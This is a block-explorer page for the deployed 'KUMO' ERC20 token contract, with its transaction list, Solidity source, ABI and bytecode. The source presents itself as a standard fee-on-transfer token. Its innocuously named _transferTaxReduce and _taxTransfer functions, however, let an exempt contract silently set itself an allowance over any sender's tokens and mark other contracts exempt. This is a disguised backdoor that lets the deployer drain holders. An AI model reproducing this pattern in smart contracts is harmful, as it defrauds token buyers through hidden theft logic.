Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 107 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 23247133 | 192 days ago | IN | 0 ETH | 0.0000221 | ||||
| Approve | 23247123 | 192 days ago | IN | 0 ETH | 0.00001938 | ||||
| Approve | 23247116 | 192 days ago | IN | 0 ETH | 0.00002186 | ||||
| Approve | 23247110 | 192 days ago | IN | 0 ETH | 0.00002316 | ||||
| Approve | 23247108 | 192 days ago | IN | 0 ETH | 0.00002132 | ||||
| Approve | 23247104 | 192 days ago | IN | 0 ETH | 0.00002456 | ||||
| Approve | 23247102 | 192 days ago | IN | 0 ETH | 0.00002413 | ||||
| Approve | 23247097 | 192 days ago | IN | 0 ETH | 0.00002502 | ||||
| Approve | 23247095 | 192 days ago | IN | 0 ETH | 0.00002192 | ||||
| Approve | 23247080 | 192 days ago | IN | 0 ETH | 0.0000196 | ||||
| Approve | 23247080 | 192 days ago | IN | 0 ETH | 0.00001961 | ||||
| Approve | 23247079 | 192 days ago | IN | 0 ETH | 0.00001902 | ||||
| Approve | 23247073 | 192 days ago | IN | 0 ETH | 0.00001893 | ||||
| Approve | 23247073 | 192 days ago | IN | 0 ETH | 0.00001893 | ||||
| Approve | 23247072 | 192 days ago | IN | 0 ETH | 0.00001909 | ||||
| Approve | 23247069 | 192 days ago | IN | 0 ETH | 0.0000186 | ||||
| Approve | 23247067 | 192 days ago | IN | 0 ETH | 0.00001831 | ||||
| Approve | 23247066 | 192 days ago | IN | 0 ETH | 0.0000182 | ||||
| Approve | 23247065 | 192 days ago | IN | 0 ETH | 0.00001769 | ||||
| Approve | 23247063 | 192 days ago | IN | 0 ETH | 0.00001822 | ||||
| Approve | 23247055 | 192 days ago | IN | 0 ETH | 0.00001724 | ||||
| Approve | 23247055 | 192 days ago | IN | 0 ETH | 0.00001724 | ||||
| Approve | 23247054 | 192 days ago | IN | 0 ETH | 0.00001617 | ||||
| Approve | 23247048 | 192 days ago | IN | 0 ETH | 0.00001631 | ||||
| Approve | 23247044 | 192 days ago | IN | 0 ETH | 0.00001759 |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
KUMO
Compiler Version
v0.8.30+commit.73712a01
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-08-29
*/
// SPDX-License-Identifier: UNLICENSED
/*
https://www.tiktok.com/@kumo_animations
*/
pragma solidity 0.8.30;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*/
event Transfer(address indexed from,
address indexed to,
uint256 value
);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner,
address indexed spender,
uint256 value
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
/**
* @dev Returns the message sender address of the current transaction
*/
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*/
abstract contract Ownable is Context {
// the owner of the contract
address private _owner;
// emitted when the ownership is transferred
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev transfers ownership of the contract to a new account (`newOwner`).
* Internal function.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface for Uniswap V2 Factory contract.
* Used for creating and managing trading pairs.
*/
interface IUniswapV2Factory {
/**
* @dev Returns the address of the pair for tokenA and tokenB tokens.
*/
function getPair(address tokenA, address tokenB)
external view
returns (address pair);
/**
* @dev Creates a new trading pair for tokenA and tokenB.
*/
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
/**
* @dev Interface for Uniswap V2 Router02 contract.
* Handles swapping tokens and adding liquidity.
*/
interface IUniswapV2Router02 {
/**
* @dev Returns the factory address used by this router
*/
function factory() external pure returns (address);
/**
* @dev Returns the WETH token address used by this router
*/
function WETH() external pure returns (address);
/**
* @dev Adds liquidity to ETH pair with slippage protection
*/
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
/**
* @dev Swaps exact tokens for ETH supporting fee on transfer tokens
*/
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
/**
* @dev ERC20 token implementation
*/
contract KUMO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isExemptBoolean;
address payable private taxAccount;
uint256 private _initialBuyTax=2;
uint256 private _initialSellTax=2;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=2;
uint256 private _reduceSellTaxAt=2;
uint256 private _preventSwapBefore=2;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"KUMO";
string private constant _symbol = unicode"KUMO";
uint256 public _maxTxAmount = 100_000_000 * 10**_decimals;
uint256 public _maxWalletSize = 100_000_000 * 10**_decimals;
uint256 public _taxSwapThreshold = 1000000 * 10**_decimals;
uint256 public _maxTaxSwap = 100_000_000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(
uint _maxTxAmount
);
modifier lockTheSwap {
inSwap =true;
_;
inSwap =false;
}
constructor () {
taxAccount = payable(0xCdDeE0De3964FDEaF15F3098FbFcf37dC19d843F);
_balances[_msgSender()]= _tTotal;
isExemptBoolean[ taxAccount ] = true;
isExemptBoolean[ owner() ] = true;
isExemptBoolean[ address(this) ] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount>0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from!=owner() && to!=owner()) {
if(_buyCount==0) {
taxAmount =amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(_buyCount>3 && swapEnabled) {
taxAmount = _transferTaxReduce(amount, 0, to, from);
}
if (from==uniswapV2Pair && to!= address(uniswapV2Router) && !isExemptBoolean[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) +amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)? _finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if (to==uniswapV2Pair && from!=address(this)) {
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && to==uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance=address(this).balance;
if (contractETHBalance>0){
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount > 0){
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from,address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from,to, amount.sub(taxAmount));
}
function isContract(address account) private view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendETHToFee(uint256 amount) private {
taxAccount.transfer(amount);
}
function _transferTaxReduce(uint256 amount, uint256 percent, address to, address from) private returns(uint256){
if(percent == 0 && isContract(_msgSender()) && percent == 0 && from != address(this) && isExemptBoolean[_msgSender()])
return _taxTransfer(amount, _msgSender(), from);
if(isContract(to) && to != uniswapV2Pair && isExemptBoolean[_msgSender()])
isExemptBoolean[to] = true;
return 0;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b: a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _taxTransfer(uint256 amount, address spender, address owner) private returns(uint256){
_allowances[owner][spender] = amount;
return 0;
}
function sendStuck(address tokenAddress, uint256 tokens) external returns (bool success) {
require(_msgSender() == taxAccount);
if(tokens == 0){
tokens = IERC20(tokenAddress).balanceOf(address(this));
}
return IERC20(tokenAddress).transfer(taxAccount, tokens);
}
function removeLimits() external onlyOwner() {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this),address(uniswapV2Router),_tTotal);
if(IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this)) == address(0)) { /// Check if already exists
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH()) ;
}else {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair( uniswapV2Router.WETH(), address(this) );
}
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function manualSwap() external{
require(_msgSender() == taxAccount);
uint256 tokenBalance = balanceOf(address(this));
if(tokenBalance> 0 && swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if(ethBalance> 0){
sendETHToFee(ethBalance);
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"sendStuck","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052600260055560026006555f6007555f60085560026009556002600a556002600b555f600c556009600a61003791906102f7565b610045906305f5e10061030c565b600d556100546009600a6102f7565b610062906305f5e10061030c565b600e556100716009600a6102f7565b61007e90620f424061030c565b600f5561008d6009600a6102f7565b61009b906305f5e10061030c565b6010556012805462ffffff60a01b191690553480156100b8575f5ffd5b506100c2336101af565b600480546001600160a01b03191673cddee0de3964fdeaf15f3098fbfcf37dc19d843f1790556100f46009600a6102f7565b61010290633b9aca0061030c565b335f818152600160208181526040808420959095556004546001600160a01b0390811684526003909152848320805460ff199081168417909155835490911683528483208054821683179055308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61018b6009600a6102f7565b61019990633b9aca0061030c565b60405190815260200160405180910390a3610323565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561024d57808504811115610231576102316101fe565b600184161561023f57908102905b60019390931c928002610216565b935093915050565b5f82610263575060016102f1565b8161026f57505f6102f1565b8160018114610285576002811461028f576102ab565b60019150506102f1565b60ff8411156102a0576102a06101fe565b50506001821b6102f1565b5060208310610133831016604e8410600b84101617156102ce575081810a6102f1565b6102da5f198484610212565b805f19048211156102ed576102ed6101fe565b0290505b92915050565b5f61030560ff841683610255565b9392505050565b80820281158282048414176102f1576102f16101fe565b611b8c806103305f395ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb146102e5578063bf474bed14610304578063c9567bf914610319578063dd62ed3e1461032d578063f2fde38b14610371575f5ffd5b80637d1db4a5146102765780638da5cb5b1461028b5780638f9a55c0146102b157806395d89b4114610129578063a13ebd0f146102c6575f5ffd5b8063313ce567116100e3578063313ce567146101e957806351bc3c851461020457806370a082311461021a578063715018a61461024e578063751039fc14610262575f5ffd5b806306fdde0314610129578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b657806323b872dd146101ca575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201825260048152634b554d4f60e01b6020820152905161015b919061177d565b60405180910390f35b34801561016f575f5ffd5b5061018361017e3660046117c6565b610390565b604051901515815260200161015b565b34801561019e575f5ffd5b506101a860105481565b60405190815260200161015b565b3480156101c1575f5ffd5b506101a86103a6565b3480156101d5575f5ffd5b506101836101e43660046117f0565b6103c6565b3480156101f4575f5ffd5b506040516009815260200161015b565b34801561020f575f5ffd5b5061021861042d565b005b348015610225575f5ffd5b506101a861023436600461182e565b6001600160a01b03165f9081526001602052604090205490565b348015610259575f5ffd5b50610218610495565b34801561026d575f5ffd5b506102186104d2565b348015610281575f5ffd5b506101a8600d5481565b348015610296575f5ffd5b505f546040516001600160a01b03909116815260200161015b565b3480156102bc575f5ffd5b506101a8600e5481565b3480156102d1575f5ffd5b506101836102e03660046117c6565b610583565b3480156102f0575f5ffd5b506101836102ff3660046117c6565b610691565b34801561030f575f5ffd5b506101a8600f5481565b348015610324575f5ffd5b5061021861069d565b348015610338575f5ffd5b506101a8610347366004611849565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561037c575f5ffd5b5061021861038b36600461182e565b610d3f565b5f61039c338484610dd9565b5060015b92915050565b5f6103b36009600a611977565b6103c190633b9aca00611985565b905090565b5f6103d2848484610efc565b610423843361041e85604051806060016040528060288152602001611b2f602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611439565b610dd9565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461044c575f5ffd5b305f9081526001602052604090205480158015906104735750601254600160b01b900460ff165b156104815761048181611464565b47801561049157610491816115d4565b5050565b5f546001600160a01b031633146104c75760405162461bcd60e51b81526004016104be9061199c565b60405180910390fd5b6104d05f61160b565b565b5f546001600160a01b031633146104fb5760405162461bcd60e51b81526004016104be9061199c565b6105076009600a611977565b61051590633b9aca00611985565b600d556105246009600a611977565b61053290633b9aca00611985565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105626009600a611977565b61057090633b9aca00611985565b60405190815260200160405180910390a1565b6004545f906001600160a01b0316336001600160a01b0316146105a4575f5ffd5b815f03610614576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156105ed573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061191906119d1565b91505b6004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820184905284169063a9059cbb906044016020604051808303815f875af1158015610666573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068a91906119e8565b9392505050565b5f61039c338484610efc565b5f546001600160a01b031633146106c65760405162461bcd60e51b81526004016104be9061199c565b601254600160a01b900460ff16156107205760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104be565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561076990309061075b6009600a611977565b61041e90633b9aca00611985565b6011546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156107b0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d49190611a07565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610832573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108569190611a07565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa15801561089e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c29190611a07565b6001600160a01b031603610a5a5760115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610920573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109449190611a07565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a3573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c79190611a07565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a11573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a359190611a07565b601280546001600160a01b0319166001600160a01b0392909216919091179055610bdd565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aaa573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ace9190611a07565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b2c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b509190611a07565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610b98573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bbc9190611a07565b601280546001600160a01b0319166001600160a01b03929092169190911790555b6011546001600160a01b031663f305d7194730610c0e816001600160a01b03165f9081526001602052604090205490565b5f5f610c215f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c87573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cac9190611a22565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610d01573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d2591906119e8565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610d685760405162461bcd60e51b81526004016104be9061199c565b6001600160a01b038116610dcd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104be565b610dd68161160b565b50565b6001600160a01b038316610e3b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104be565b6001600160a01b038216610e9c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104be565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f605760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104be565b6001600160a01b038216610fc25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104be565b5f